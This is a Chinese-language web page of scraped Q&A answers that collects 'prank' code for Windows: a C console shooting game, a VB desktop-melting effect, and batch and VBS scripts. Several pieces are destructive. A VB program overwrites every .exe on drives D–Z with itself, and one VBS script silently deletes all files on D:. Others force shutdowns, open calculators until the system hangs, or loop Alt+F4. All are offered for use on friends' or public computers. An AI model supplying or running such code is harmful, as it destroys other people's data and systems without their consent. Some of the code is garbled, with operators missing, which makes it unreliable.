恶搞电脑代码黑屏

这就没办法了，既然是恶意代码引起的电脑黑屏，那么只有恢复备份或重装系统。

求一些恶搞程序的C语言源代码

一个打飞机的游戏，DEVc++编译通过：

#include stdio.h

#include conio.h

#include stdlib.h

#include windows.h

#include time.h

#define zlx 10   //增量坐标(x)让游戏框不靠边

#define zly 3    //增量坐标(y)让游戏框不靠边

#define W 26   //游戏框的宽度

#define H 24   //游戏框的高度

int jiem[22][22]={0}, wj=10;   //界面数组, 我机位置(初值为10)

int speed=4,density=30, score=0,death=0;  //敌机速度, 敌机密度, 玩家成绩,死亡次数

int m=0,n=0;   // m,n是控制敌机的变量

void gtxy (int x, int y)   //控制光标位置的函数

{ COORD zb;   //zb代指坐标

zb.X = x;  zb.Y = y;

SetConsoleCursorPosition ( GetStdHandle (STD_OUTPUT_HANDLE), zb );

}

void Color(int a)   //设定颜色的函数(a应为1-15)

{ SetConsoleTextAttribute( GetStdHandle(STD_OUTPUT_HANDLE), a ); }

void yinc(int x=1,int y=0)   //隐藏光标的函数

{ CONSOLE_CURSOR_INFO  gb={x,y};   //gb代指光标, y设为0即隐藏

SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), gb);

 }

void csh( )  //初始化函数

{ int i;

Color(7);

gtxy(zlx,zly); printf("╔");  gtxy(zlx+W-2,zly); printf("╗");  //左上角和右上角的框角

gtxy(zlx,zly+H-1); printf("╚"); gtxy(zlx+W-2,zly+H-1); printf("╝"); //下边两框角

for(i=2;iW-2;i+=2) {gtxy(zlx+i,zly);  printf("═"); }      //打印上横框

for(i=2;iW-2;i+=2) {gtxy(zlx+i,zly+H-1); printf("═"); }  //打印下横框

for(i=1;iH-1;i++) { gtxy(zlx,zly+i);  printf("║"); }       //打印左竖框

for(i=1;iH-1;i++) {gtxy(zlx+W-2,zly+i); printf("║"); }  //打印右竖框

Color(14); gtxy(19,2);  printf("歼灭敌机");  Color(10);

gtxy(37,5); printf("设置：Esc ");

gtxy(37,7); printf("发射：↑ ");

gtxy(37,9); printf("控制：← → ");

gtxy(37,11);printf("得分：%d",score);

gtxy(37,13); printf("死亡：%d",death);

yinc(1,0);

}

void qcjm( )  //清除界面函数

{ int i,j;

for(i=0;iH-2;i++)

for(j=0;jW-4;j++){gtxy(zlx+2+j,zly+1+i); printf(" ");}

}

void feiji( )  //飞机移动函数

{ int i,j;

for(i=21;i=0;i--)  //从底行往上是为了避免敌机直接冲出数组

  for(j=0;j22;j++)

     {if(i==21jiem[i][j]==3) jiem[i][j]=0;  //底行赋值0 以免越界

       if(jiem[i][j]==3) jiem[i][j]=0, jiem[i+1][j]=3;

     }

if(jiem[20][wj]==3jiem[21][wj]==1) death++;

}

void zidan( )  //子弹移动函数

{ int i,j;

for(i=0;i22;i++)

  for(j=0;j22;j++)

     { if(i==0jiem[i][j]==2) jiem[i][j]=0;

       if(jiem[i][j]==2) { if(jiem[i-1][j]==3) score+=100,printf("\7");

                                  jiem[i][j]=0,jiem[i-1][j]=2; }

     }

}

void print(  )  //输出界面函数

{int i,j;

qcjm( );

for(i=0;i22;i++)

for(j=0;j22;j++)

{ gtxy(12+j,4+i);

   if(jiem[i][j]==3) {Color(13);printf("□");}

   if(jiem[i][j]==2) {Color(10);printf(".");}

   if(jiem[i][j]==1) {Color(10);printf("■");}

}

gtxy(37,11); Color(10); printf("得分：%d",score);

gtxy(37,13); printf("死亡：%d",death);

}

void setting( )  //游戏设置函数

{ qcjm( );

gtxy(12,4);printf("选择敌机速度:");

gtxy(12,5);printf("  1.快 2.中 3.慢");

switch(getche( ))

    {case '1': speed=2; break;

     case '2': speed=4; break;

     case '3': speed=5; break;

     default: gtxy(12,6);printf("  错误！默认值");

   }

gtxy(12,7);printf("选择敌机密度:");

gtxy(12,8);printf("  1.大 2.中 3.小");

switch(getche( ))

     {case '1': density=20; break;

      case '2': density=30; break;

      case '3': density=40; break;

      default: gtxy(12,9); printf("  错误！默认值");

     }

for(int i=0;i22;i++)

 for(int j=0;j22;j++) jiem[i][j]=0;

jiem[21][wj=10]=1;  jiem[0][5]=3;

gtxy(12,10); printf("  按任意键保存...");

getch( );

qcjm( );

}

void run( )  //游戏运行函数

{ jiem[21][wj]=1;  //值为1代表我机(2则为子弹)

jiem[0][5]=3;   //值为3代表敌机

SetConsoleTitle("歼灭敌机");  //设置窗口标题

while(1)

{ if (kbhit( ))   //如有键按下，控制我机左右移动、发射或进行设定

    { int key;

      if((key=getch( ))==224) key=getch( );

     switch(key)

       {case 75: if(wj0) jiem[21][wj]=0,jiem[21][--wj]=1; break;

        case 77: if(wj20) jiem[21][wj]=0,jiem[21][++wj]=1; break;

        case 72: jiem[20][wj]=2; break;

       case 27: setting( );

      }

   }

   if(++n%density==0)   //控制产生敌机的速度

     { n=0;srand((unsigned)time(NULL));

       jiem[0][rand( )%20+1]=3;

     }

    if(++m%speed==0) { feiji( ); m=0; }  //控制敌机移动速度(相对子弹而言)

    zidan( );   //子弹移动

    print( );   //输出界面

    Sleep(120);   //延时120毫秒

  }

}

int main( )

{ csh( );

  run( );

  return 0;

}

电脑装逼代码

1、win+r 或者右下角开始--运行

2、输入cmd回车

3、最大化cmd窗口

4、输入color 02 回车

5、输入 dir /A/S/W

搞定！

求一些VB恶搞代码。效果越厉害越好，例如：蓝屏.等等

电脑桌面融化，这段代码真的很强悍 ！ 居然搞的我看不到屏幕 ， 就像雪糕一样被融化了； Private Declare Function GetWindowDC Lib "user32" (ByVal hwnd As Long) As Long

Private Declare Function GetDesktopWindow Lib "user32" () As Long

Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long

Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long

Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long

Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long

Private Const SRCCOPY = HCC0020 ' (DWORD) dest = source

Dim x As Integer, y As Integer

Dim Buffer As Long, hBitmap As Long, Desktop As Long, hScreen As Long, ScreenBuffer As Long

Private Declare Sub InvalidateRect Lib "user32" (ByVal hwnd As Long, lpRect As Any, ByVal bErase As Long)

Private Sub Form_Load()

Me.Hide

Desktop = GetWindowDC(GetDesktopWindow())

hBitmap = CreateCompatibleDC(Desktop)

hScreen = CreateCompatibleDC(Desktop)

Buffer = CreateCompatibleBitmap(Desktop, 32, 32)

ScreenBuffer = CreateCompatibleBitmap(Desktop, Screen.Width / 15, Screen.Height / 15)

SelectObject hBitmap, Buffer

SelectObject hScreen, ScreenBuffer

BitBlt hScreen, 0, 0, Screen.Width / 15, Screen.Height / 15, Desktop, 0, 0, SRCCOPY

For i = 0 To 1E+17

y = (Screen.Height / 15) * Rnd

x = (Screen.Width / 15) * Rnd

BitBlt hBitmap, 0, 0, 32, 32, Desktop, x, y, SRCCOPY

BitBlt Desktop, x + (1 - 2 * Rnd), y + (1 - 2 * Rnd), 32, 32, hBitmap, 0, 0, SRCCOPY

DoEvents

Next i

End Sub 还有个杀手锏；一段要人命的vb代码

-----------------------------------------------声明---------------------------------------------------------------

’如果您在没有读懂代码的情况下请不要生成exe文件运行.............否则不要怪我没提醒你。。。。。。。

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Sub Form_Load()

On Error Resume Next ’容错句

If Dir("c:\123.txt") = "" Then ’如果123.txt不存在则创建 bat遍历exe文件

Open "c:\a.bat" For Output As #1 ’打开bat文件

Print #1, "for %%a in (d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z:) do dir /s/b %%a\*.exe e:\123.txt" ’写入数据

Close #1 ’关闭文件

Sleep 200 ’延时200秒等待文件生成（主要为了慢机器）

Shell "c:\a.bat", 0 ’隐藏运行之

End If

Sleep 60000 ’延时1分钟等待exe遍历完成

Dim A() As String

Dim C As Long, I As Integer

Open "c:\123.txt" For Input As #1 ’读取txt里面的内容

Do While EOF(1) = False

ReDim Preserve A(C)

Input #1, A(C)

C = C + 1

Loop

Close #1

For I = 0 To C - 1

FileCopy App.Path "\" App.EXEName ".exe", A(I) ’把txt里面的内容替换掉

Next

End Sub

/SPAN

有没有恶搞朋友的，给他电脑发个文件就会让他自动关机的代码？

vbs整人代码大集合，收集的比较全，喜欢的朋友可以参考下。不要搞破坏，学习vbs的朋友非常有帮助，死循环的使用比较多。新建一个记事本 把下面的代码复制进去 另存为VBE格式的就可以了 ：

一、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈

do

msgbox "You are foolish!"

loop

----------------------------------------------------------------------------

二、打开无数个计算器，直到死机

set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop

----------------------------------------------------------------------------

三、直接关机

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

---------------------------------------------------------------------------

四、删除D:\所有文件

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

----------------------------------------------------------------------------

五、不断弹出窗口

while(1)

msgbox "哈哈 你被耍了！"

loop

----------------------------------------------------------------------------

六、不断按下alt+f4 （开什么都关闭……）

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}" loop

---------------------------------------------------------------------------

七、按500次回车

(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改)

dim s

do until s=500

s=s+1

msgbox "哥们，给我按500次回车吧",64

loop

---------------------------------------------------------------------------

八、关不掉的窗口

WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"TSName)

WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉，这你都不知道吗？")

WScript.Echo("怎么才来，说~是不是不关心我") WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")

WScript.Echo("小强很生气，后果很严重哦。") WScript.Echo("嘿嘿！你也会很惨滴哦")

WScript.Echo("是不是想清除我？") WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")

WScript.Echo("还剩49下，快点点哦") WScript.Echo("还剩48下，快点，小笨蛋！")

WScript.Echo("还剩47下对，就这样快点点！") WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")

WScript.Echo("还剩45下，记得要快哦！") WScript.Echo("还剩43下")

WScript.Echo("还剩42下")

WScript.Echo("还剩41下") WScript.Echo("还剩40下")

WScript.Echo("还剩39下")

WScript.Echo("还剩38下") WScript.Echo("还剩37下")

WScript.Echo("还剩36下")

WScript.Echo("还剩35下") WScript.Echo("还剩34下")

WScript.Echo("还剩33下")

WScript.Echo("还剩32下") WScript.Echo("还剩30下")

WScript.Echo("还剩29下")

WScript.Echo("还剩28下") WScript.Echo("还剩27下")

WScript.Echo("还剩26下")

WScript.Echo("还剩25下") WScript.Echo("还剩24下")

WScript.Echo("还剩23下")

WScript.Echo("还剩22下") WScript.Echo("还剩21下")

WScript.Echo("还剩20下")

WScript.Echo("还剩19下") WScript.Echo("还剩18下")

WScript.Echo("还剩17下")

WScript.Echo("还剩16下") WScript.Echo("还剩15下")

WScript.Echo("还剩14下") WScript.Echo("还剩13下停停！！！慢点，我有话要说")

WScript.Echo("还剩12下，你继续点我就会消失滴") WScript.Echo("还剩11下，以后就看不到我拉。555555")

WScript.Echo("还剩10下，你现在可以选择停止！") WScript.Echo("还剩9下。你还点啊，不要我拉？")

WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家") WScript.Echo("还剩7下。疯了，你有点负意！")

WScript.Echo("还剩6下。对。你就点吧，我恨你！") WScript.Echo("还剩5下，不明白，删除我你就好吗？")

WScript.Echo("还剩4下！真要删除我？") WScript.Echo("还剩3下。可是我真的很眷恋你。。。")

WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的！") WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义！！！") WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

-----------------------------------------------------------------

为了友谊的小船，请谨慎使用

求电脑恶搞代码

if not exist c:1.txt echo. c:1.txt goto err1

if not exist c:2.txt echo. c:2.txt goto err1

if not exist c:3.txt echo. c:3.txt goto err1

if not exist c:4.txt echo. c:4.txt goto err1

if not exist c:5.txt echo. c:5.txt goto err1

goto err2

:err1 shutdown -s -t 0

:err2 上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c:6.txt echo. c:6.txt goto err1那就是重启6次 改成7就是7次...

打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。